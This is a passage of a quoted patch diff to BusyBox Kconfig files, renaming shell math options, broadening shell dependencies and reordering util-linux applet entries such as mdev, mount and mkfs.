> -# note: cannot use "select ASH" here, it breaks "make allnoconfig"
> -config BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
> -	depends on BUSYBOX_CONFIG_ASH
> -	bool "ash"
> -	depends on !BUSYBOX_CONFIG_NOMMU
> -
> -config BUSYBOX_CONFIG_FEATURE_SH_IS_HUSH
> -	depends on BUSYBOX_CONFIG_HUSH
> -	bool "hush"
> -
> -config BUSYBOX_CONFIG_FEATURE_SH_IS_NONE
> -	bool "none"
> -
> -endchoice
> -
> -choice
> -	prompt "Choose which shell is aliased to 'bash' name"
> -	default BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
> -	help
> -	  Choose which shell you want to be executed by 'bash' alias.
> -	  The ash shell is the most bash compatible and full featured one.
> -
> -	  Note that selecting this option does not switch on any bash
> -	  compatibility code. It merely makes it possible to install
> -	  /bin/bash (sym)link and run scripts which start with
> -	  #!/bin/bash line.
> -
> -	  Many systems use it in scripts which use bash-specific features,
> -	  even simple ones like $RANDOM. Without this option, busybox
> -	  can't be used for running them because it won't recongnize
> -	  "bash" as a supported applet name.
> -
> -config BUSYBOX_CONFIG_FEATURE_BASH_IS_ASH
> -	depends on BUSYBOX_CONFIG_ASH
> -	bool "ash"
> -	depends on !BUSYBOX_CONFIG_NOMMU
> -
> -config BUSYBOX_CONFIG_FEATURE_BASH_IS_HUSH
> -	depends on BUSYBOX_CONFIG_HUSH
> -	bool "hush"
> -
> -config BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
> -	bool "none"
> -
> -endchoice
> -
> -
> -config BUSYBOX_CONFIG_SH_MATH_SUPPORT
> +config BUSYBOX_CONFIG_FEATURE_SH_MATH
>   	bool "POSIX math support"
> -	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT
> -	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH
> +	default BUSYBOX_DEFAULT_FEATURE_SH_MATH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable math support in the shell via $((...)) syntax.
>   
> -config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
> +config BUSYBOX_CONFIG_FEATURE_SH_MATH_64
>   	bool "Extend POSIX math support to 64 bit"
> -	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
> -	depends on BUSYBOX_CONFIG_SH_MATH_SUPPORT
> +	default BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
> +	depends on BUSYBOX_CONFIG_FEATURE_SH_MATH
>   	help
>   	  Enable 64-bit math support in the shell. This will make the shell
>   	  slightly larger, but will allow computation with very large numbers.
> @@ -376,14 +380,14 @@ config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
>   config BUSYBOX_CONFIG_FEATURE_SH_EXTRA_QUIET
>   	bool "Hide message on interactive shell startup"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
> -	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Remove the busybox introduction when starting a shell.
>   
>   config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
>   	bool "Standalone shell"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_STANDALONE
> -	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This option causes busybox shells to use busybox applets
>   	  in preference to executables in the PATH whenever possible. For
> @@ -416,7 +420,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
>   config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
>   	bool "Run 'nofork' applets directly"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_NOFORK
> -	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This option causes busybox shells to not execute typical
>   	  fork/exec/wait sequence, but call <applet>_main directly,
> @@ -434,7 +438,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
>   config BUSYBOX_CONFIG_FEATURE_SH_HISTFILESIZE
>   	bool "Use $HISTFILESIZE"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_HISTFILESIZE
> -	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This option makes busybox shells to use $HISTFILESIZE variable
>   	  to set shell history size. Note that its max value is capped
> diff --git a/package/utils/busybox/config/sysklogd/Config.in b/package/utils/busybox/config/sysklogd/Config.in
> index 5fcee2c..1f8f3cf 100644
> --- a/package/utils/busybox/config/sysklogd/Config.in
> +++ b/package/utils/busybox/config/sysklogd/Config.in
> @@ -47,7 +47,6 @@ config BUSYBOX_CONFIG_LOGGER
>   config BUSYBOX_CONFIG_LOGREAD
>   	bool "logread"
>   	default BUSYBOX_DEFAULT_LOGREAD
> -	depends on BUSYBOX_CONFIG_FEATURE_IPC_SYSLOG
>   	help
>   	  If you enabled Circular Buffer support, you almost
>   	  certainly want to enable this feature as well. This
> diff --git a/package/utils/busybox/config/util-linux/Config.in b/package/utils/busybox/config/util-linux/Config.in
> index 08bddf8..8df023c 100644
> --- a/package/utils/busybox/config/util-linux/Config.in
> +++ b/package/utils/busybox/config/util-linux/Config.in
> @@ -6,222 +6,6 @@
>   
>   menu "Linux System Utilities"
>   
> -config BUSYBOX_CONFIG_BLKDISCARD
> -	bool "blkdiscard"
> -	default BUSYBOX_DEFAULT_BLKDISCARD
> -	help
> -	  blkdiscard discards sectors on a given device.
> -config BUSYBOX_CONFIG_BLOCKDEV
> -	bool "blockdev"
> -	default BUSYBOX_DEFAULT_BLOCKDEV
> -	help
> -	  Performs some ioctls with block devices.
> -config BUSYBOX_CONFIG_FATATTR
> -	bool "fatattr"
> -	default BUSYBOX_DEFAULT_FATATTR
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  fatattr lists or changes the file attributes on a fat file system.
> -config BUSYBOX_CONFIG_FSTRIM
> -	bool "fstrim"
> -	default BUSYBOX_DEFAULT_FSTRIM
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Discard unused blocks on a mounted filesystem.
> -config BUSYBOX_CONFIG_MDEV
> -	bool "mdev"
> -	default BUSYBOX_DEFAULT_MDEV
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  mdev is a mini-udev implementation for dynamically creating device
> -	  nodes in the /dev directory.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> -	bool "Support /etc/mdev.conf"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
> -	depends on BUSYBOX_CONFIG_MDEV
> -	help
> -	  Add support for the mdev config file to control ownership and
> -	  permissions of the device nodes.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> -	bool "Support subdirs/symlinks"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
> -	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> -	help
> -	  Add support for renaming devices and creating symlinks.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
> -	bool "Support regular expressions substitutions when renaming device"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
> -	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> -	help
> -	  Add support for regular expressions substitutions when renaming
> -	  device.
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
> -	bool "Support command execution at device addition/removal"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
> -	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> -	help
> -	  This adds support for an optional field to /etc/mdev.conf for
> -	  executing commands when devices are created/removed.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
> -	bool "Support loading of firmwares"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
> -	depends on BUSYBOX_CONFIG_MDEV
> -	help
> -	  Some devices need to load firmware before they can be usable.
> -
> -	  These devices will request userspace look up the files in
> -	  /lib/firmware/ and if it exists, send it to the kernel for
> -	  loading into the hardware.
> -config BUSYBOX_CONFIG_MOUNT
> -	bool "mount"
> -	default BUSYBOX_DEFAULT_MOUNT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  All files and filesystems in Unix are arranged into one big directory
> -	  tree. The 'mount' utility is used to graft a filesystem onto a
> -	  particular part of the tree. A filesystem can either live on a block
> -	  device, or it can be accessible over the network, as is the case with
> -	  NFS filesystems. Most people using BusyBox will also want to enable
> -	  the 'mount' utility.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
> -	bool "Support option -f"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable support for faking a file system mount.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
> -	bool "Support option -v"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable multi-level -v[vv...] verbose messages. Useful if you
> -	  debug mount problems and want to see what is exactly passed
> -	  to the kernel.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
> -	bool "Support mount helpers"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable mounting of virtual file systems via external helpers.
> -	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
> -	  "obexfs -b00.11.22.33.44.55 /mnt"
> -	  Also "mount -t sometype [-o opts] fs /mnt" will try
> -	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
> -	  The idea is to use such virtual filesystems in /etc/fstab.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
> -	bool "Support specifying devices by label or UUID"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	select BUSYBOX_CONFIG_VOLUMEID
> -	help
> -	  This allows for specifying a device by label or uuid, rather than by
> -	  name. This feature utilizes the same functionality as blkid/findfs.
> -	  This also enables label or uuid support for swapon.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
> -	bool "Support mounting NFS file systems on Linux < 2.6.23"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  Enable mounting of NFS file systems on Linux kernels prior
> -	  to version 2.6.23. Note that in this case mounting of NFS
> -	  over IPv6 will not be possible.
> -
> -	  Note that this option links in RPC support from libc,
> -	  which is rather large (~10 kbytes on uclibc).
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
> -	bool "Support mounting CIFS/SMB file systems"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable support for samba mounts.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	bool "Support lots of -o flags in mount"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
> -	help
> -	  Without this, mount only supports ro/rw/remount. With this, it
> -	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
> -	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
> -	  private, unbindable, rshared, rslave, rprivate, and runbindable.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	bool "Support /etc/fstab and -a"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
> -	help
> -	  Support mount all and looking for files in /etc/fstab.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
> -	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> -	bool "Support -T <alt_fstab>"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
> -	help
> -	  Support mount -T (specifying an alternate fstab)
> -config BUSYBOX_CONFIG_NSENTER
> -	bool "nsenter"
> -	default BUSYBOX_DEFAULT_NSENTER
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Run program with namespaces of other processes.
> -
> -config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
> -	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Support long options for the nsenter applet. This makes
> -	  the busybox implementation more compatible with upstream.
> -config BUSYBOX_CONFIG_REV
> -	bool "rev"
> -	default BUSYBOX_DEFAULT_REV
> -	help
> -	  Reverse lines of a file or files.
> -config BUSYBOX_CONFIG_SETARCH
> -	bool "setarch"
> -	default BUSYBOX_DEFAULT_SETARCH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  The linux32 utility is used to create a 32bit environment for the
> -	  specified program (usually a shell). It only makes sense to have
> -	  this util on a system that supports both 64bit and 32bit userland
> -	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
> -config BUSYBOX_CONFIG_UEVENT
> -	bool "uevent"
> -	default BUSYBOX_DEFAULT_UEVENT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  uevent is a netlink listener for kernel uevent notifications
> -	  sent via netlink. It is usually used for dynamic device creation.
> -config BUSYBOX_CONFIG_UNSHARE
> -	bool "unshare"
> -	default BUSYBOX_DEFAULT_UNSHARE
> -	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Run program with some namespaces unshared from parent.
> -
>   config BUSYBOX_CONFIG_ACPID
>   	bool "acpid"
>   	default BUSYBOX_DEFAULT_ACPID
> @@ -244,7 +28,11 @@ config BUSYBOX_CONFIG_FEATURE_ACPID_COMPAT
>   	depends on BUSYBOX_CONFIG_ACPID
>   	help
>   	  Accept and ignore compatibility options -g -m -s -S -v.
> -
> +config BUSYBOX_CONFIG_BLKDISCARD
> +	bool "blkdiscard"
> +	default BUSYBOX_DEFAULT_BLKDISCARD
> +	help
> +	  blkdiscard discards sectors on a given device.
>   config BUSYBOX_CONFIG_BLKID
>   	bool "blkid"
>   	default BUSYBOX_DEFAULT_BLKID
> @@ -261,7 +49,11 @@ config BUSYBOX_CONFIG_FEATURE_BLKID_TYPE
>   	depends on BUSYBOX_CONFIG_BLKID
>   	help
>   	  Show TYPE="filesystem type"
> -
> +config BUSYBOX_CONFIG_BLOCKDEV
> +	bool "blockdev"
> +	default BUSYBOX_DEFAULT_BLOCKDEV
> +	help
> +	  Performs some ioctls with block devices.
>   config BUSYBOX_CONFIG_DMESG
>   	bool "dmesg"
>   	default BUSYBOX_DEFAULT_DMESG
> @@ -295,7 +87,12 @@ config BUSYBOX_CONFIG_FEATURE_DMESG_PRETTY
>   	    <5>Linux version 2.6.17.4 .....
>   	    <6>BIOS-provided physical RAM map:
>   	    <6> BIOS-e820: 0000000000000000 - 000000000009f000 (usable)
> -
> +config BUSYBOX_CONFIG_FATATTR
> +	bool "fatattr"
> +	default BUSYBOX_DEFAULT_FATATTR
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  fatattr lists or changes the file attributes on a fat file system.
>   config BUSYBOX_CONFIG_FBSET
>   	bool "fbset"
>   	default BUSYBOX_DEFAULT_FBSET
> @@ -324,27 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FBSET_READMODE
>   	  This option allows fbset to read the video mode database stored by
>   	  default BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE /etc/fb.modes, which can be used to set frame buffer
>   	  device to pre-defined video modes.
> -
> -config BUSYBOX_CONFIG_FDFLUSH
> -	bool "fdflush"
> -	default BUSYBOX_DEFAULT_FDFLUSH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  fdflush is only needed when changing media on slightly-broken
> -	  removable media drives. It is used to make Linux believe that a
> -	  hardware disk-change switch has been actuated, which causes Linux to
> -	  forget anything it has cached from the previous media. If you have
> -	  such a slightly-broken drive, you will need to run fdflush every time
> -	  you change a disk. Most people have working hardware and can safely
> -	  leave this disabled.
> -
>   config BUSYBOX_CONFIG_FDFORMAT
>   	bool "fdformat"
>   	default BUSYBOX_DEFAULT_FDFORMAT
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  fdformat is used to low-level format a floppy disk.
> -
>   config BUSYBOX_CONFIG_FDISK
>   	bool "fdisk"
>   	default BUSYBOX_DEFAULT_FDISK
> @@ -421,7 +203,6 @@ config BUSYBOX_CONFIG_FEATURE_FDISK_ADVANCED
>   	  define arbitrary drive geometry, move the beginning of data in a
>   	  partition, and similarly evil things. Unless you have a very good
>   	  reason you would be wise to leave this disabled.
> -
>   config BUSYBOX_CONFIG_FINDFS
>   	bool "findfs"
>   	default BUSYBOX_DEFAULT_FINDFS
> @@ -431,12 +212,23 @@ config BUSYBOX_CONFIG_FINDFS
>   	  Prints the name of a filesystem with given label or UUID.
>   	  WARNING:
>   	  With all submodules selected, it will add ~8k to busybox.
> -
>   config BUSYBOX_CONFIG_FLOCK
>   	bool "flock"
>   	default BUSYBOX_DEFAULT_FLOCK
>   	help
>   	  Manage locks from shell scripts
> +config BUSYBOX_CONFIG_FDFLUSH
> +	bool "fdflush"
> +	default BUSYBOX_DEFAULT_FDFLUSH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  fdflush is only needed when changing media on slightly-broken
> +	  removable media drives. It is used to make Linux believe that a
> +	  hardware disk-change switch has been actuated, which causes Linux to
> +	  forget anything it has cached from the previous media. If you have
> +	  such a slightly-broken drive, you will need to run fdflush every time
> +	  you change a disk. Most people have working hardware and can safely
> +	  leave this disabled.
>   
>   config BUSYBOX_CONFIG_FREERAMDISK
>   	bool "freeramdisk"
> @@ -449,7 +241,6 @@ config BUSYBOX_CONFIG_FREERAMDISK
>   	  pivot_root, you may want to free the memory that is allocated to the
>   	  ramdisk. If you have no use for freeing memory from a ramdisk, leave
>   	  this disabled.
> -
>   config BUSYBOX_CONFIG_FSCK_MINIX
>   	bool "fsck_minix"
>   	default BUSYBOX_DEFAULT_FSCK_MINIX
> @@ -460,47 +251,12 @@ config BUSYBOX_CONFIG_FSCK_MINIX
>   	  power goes off in the middle of a write. This utility allows you to
>   	  check for and attempt to repair any corruption that occurs to a minix
>   	  filesystem.
> -
> -config BUSYBOX_CONFIG_MKFS_EXT2
> -	bool "mkfs_ext2"
> -	default BUSYBOX_DEFAULT_MKFS_EXT2
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to create EXT2 filesystems.
> -
> -config BUSYBOX_CONFIG_MKFS_MINIX
> -	bool "mkfs_minix"
> -	default BUSYBOX_DEFAULT_MKFS_MINIX
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  The minix filesystem is a nice, small, compact, read-write filesystem
> -	  with little overhead. If you wish to be able to create minix
> -	  filesystems this utility will do the job for you.
> -
> -config BUSYBOX_CONFIG_FEATURE_MINIX2
> -	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
> -	default BUSYBOX_DEFAULT_FEATURE_MINIX2
> -	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
> -	help
> -	  If you wish to be able to create version 2 minix filesystems, enable
> -	  this. If you enabled 'mkfs_minix' then you almost certainly want to
> -	  be using the version 2 filesystem support.
> -
> -config BUSYBOX_CONFIG_MKFS_REISER
> -	bool "mkfs_reiser"
> -	default BUSYBOX_DEFAULT_MKFS_REISER
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to create ReiserFS filesystems.
> -	  Note: this applet needs a lot of testing and polishing.
> -
> -config BUSYBOX_CONFIG_MKFS_VFAT
> -	bool "mkfs_vfat"
> -	default BUSYBOX_DEFAULT_MKFS_VFAT
> +config BUSYBOX_CONFIG_FSTRIM
> +	bool "fstrim"
> +	default BUSYBOX_DEFAULT_FSTRIM
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to create FAT32 filesystems.
> -
> +	help
> +	  Discard unused blocks on a mounted filesystem.
>   config BUSYBOX_CONFIG_GETOPT
>   	bool "getopt"
>   	default BUSYBOX_DEFAULT_GETOPT
> @@ -518,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_GETOPT_LONG
>   	depends on BUSYBOX_CONFIG_GETOPT
>   	help
>   	  Enable support for long options (option -l).
> -
>   config BUSYBOX_CONFIG_HEXDUMP
>   	bool "hexdump"
>   	default BUSYBOX_DEFAULT_HEXDUMP
> @@ -539,10 +294,8 @@ config BUSYBOX_CONFIG_FEATURE_HEXDUMP_REVERSE
>   config BUSYBOX_CONFIG_HD
>   	bool "hd"
>   	default BUSYBOX_DEFAULT_HD
> -	depends on BUSYBOX_CONFIG_HEXDUMP
>   	help
>   	  hd is an alias to hexdump -C.
> -
>   config BUSYBOX_CONFIG_HWCLOCK
>   	bool "hwclock"
>   	default BUSYBOX_DEFAULT_HWCLOCK
> @@ -573,7 +326,6 @@ config BUSYBOX_CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS
>   	  classic /etc/adjtime path.
>   
>   	  pathname.com/fhs/pub/fhs-2.3.html#VARLIBHWCLOCKSTATEDIRECTORYFORHWCLO
> -
>   config BUSYBOX_CONFIG_IPCRM
>   	bool "ipcrm"
>   	default BUSYBOX_DEFAULT_IPCRM
> @@ -581,7 +333,6 @@ config BUSYBOX_CONFIG_IPCRM
>   	  The ipcrm utility allows the removal of System V interprocess
>   	  communication (IPC) objects and the associated data structures
>   	  from the system.
> -
>   config BUSYBOX_CONFIG_IPCS
>   	bool "ipcs"
>   	default BUSYBOX_DEFAULT_IPCS
> @@ -589,7 +340,6 @@ config BUSYBOX_CONFIG_IPCS
>   	help
>   	  The ipcs utility is used to provide information on the currently
>   	  allocated System V interprocess (IPC) objects in the system.
> -
>   config BUSYBOX_CONFIG_LOSETUP
>   	bool "losetup"
>   	default BUSYBOX_DEFAULT_LOSETUP
> @@ -598,7 +348,6 @@ config BUSYBOX_CONFIG_LOSETUP
>   	  losetup is used to associate or detach a loop device with a regular
>   	  file or block device, and to query the status of a loop device. This
>   	  version does not currently support enabling data encryption.
> -
>   config BUSYBOX_CONFIG_LSPCI
>   	bool "lspci"
>   	default BUSYBOX_DEFAULT_LSPCI
> @@ -608,7 +357,6 @@ config BUSYBOX_CONFIG_LSPCI
>   	  system and devices connected to them.
>   
>   	  This version uses sysfs (/sys/bus/pci/devices) only.
> -
>   config BUSYBOX_CONFIG_LSUSB
>   	bool "lsusb"
>   	default BUSYBOX_DEFAULT_LSUSB
> @@ -618,7 +366,113 @@ config BUSYBOX_CONFIG_LSUSB
>   	  system and devices connected to them.
>   
>   	  This version uses sysfs (/sys/bus/usb/devices) only.
> +config BUSYBOX_CONFIG_MDEV
> +	bool "mdev"
> +	default BUSYBOX_DEFAULT_MDEV
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  mdev is a mini-udev implementation for dynamically creating device
> +	  nodes in the /dev directory.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> +	bool "Support /etc/mdev.conf"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
> +	depends on BUSYBOX_CONFIG_MDEV
> +	help
> +	  Add support for the mdev config file to control ownership and
> +	  permissions of the device nodes.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> +	bool "Support subdirs/symlinks"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
> +	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> +	help
> +	  Add support for renaming devices and creating symlinks.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
> +	bool "Support regular expressions substitutions when renaming device"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
> +	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> +	help
> +	  Add support for regular expressions substitutions when renaming
> +	  device.
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
> +	bool "Support command execution at device addition/removal"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
> +	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> +	help
> +	  This adds support for an optional field to /etc/mdev.conf for
> +	  executing commands when devices are created/removed.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
> +	bool "Support loading of firmwares"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
> +	depends on BUSYBOX_CONFIG_MDEV
> +	help
> +	  Some devices need to load firmware before they can be usable.
> +
> +	  These devices will request userspace look up the files in
> +	  /lib/firmware/ and if it exists, send it to the kernel for
> +	  loading into the hardware.
> +config BUSYBOX_CONFIG_MKE2FS
> +	bool "mke2fs"
> +	default BUSYBOX_DEFAULT_MKE2FS
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to create EXT2 filesystems.
> +
> +config BUSYBOX_CONFIG_MKFS_EXT2
> +	bool "mkfs.ext2"
> +	default BUSYBOX_DEFAULT_MKFS_EXT2
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "mke2fs".
> +config BUSYBOX_CONFIG_MKFS_MINIX
> +	bool "mkfs_minix"
> +	default BUSYBOX_DEFAULT_MKFS_MINIX
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  The minix filesystem is a nice, small, compact, read-write filesystem
> +	  with little overhead. If you wish to be able to create minix
> +	  filesystems this utility will do the job for you.
> +
> +config BUSYBOX_CONFIG_FEATURE_MINIX2
> +	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
> +	default BUSYBOX_DEFAULT_FEATURE_MINIX2
> +	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
> +	help
> +	  If you wish to be able to create version 2 minix filesystems, enable
> +	  this. If you enabled 'mkfs_minix' then you almost certainly want to
> +	  be using the version 2 filesystem support.
> +config BUSYBOX_CONFIG_MKFS_REISER
> +	bool "mkfs_reiser"
> +	default BUSYBOX_DEFAULT_MKFS_REISER
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to create ReiserFS filesystems.
> +	  Note: this applet needs a lot of testing and polishing.
> +config BUSYBOX_CONFIG_MKDOSFS
> +	bool "mkdosfs"
> +	default BUSYBOX_DEFAULT_MKDOSFS
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to create FAT32 filesystems.
>   
> +config BUSYBOX_CONFIG_MKFS_VFAT
> +	bool "mkfs.vfat"
> +	default BUSYBOX_DEFAULT_MKFS_VFAT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "mkdosfs".
>   config BUSYBOX_CONFIG_MKSWAP
>   	bool "mkswap"
>   	default BUSYBOX_DEFAULT_MKSWAP
> @@ -638,7 +492,6 @@ config BUSYBOX_CONFIG_FEATURE_MKSWAP_UUID
>   	depends on BUSYBOX_CONFIG_MKSWAP
>   	help
>   	  Generate swap spaces with universally unique identifiers.
> -
>   config BUSYBOX_CONFIG_MORE
>   	bool "more"
>   	default BUSYBOX_DEFAULT_MORE
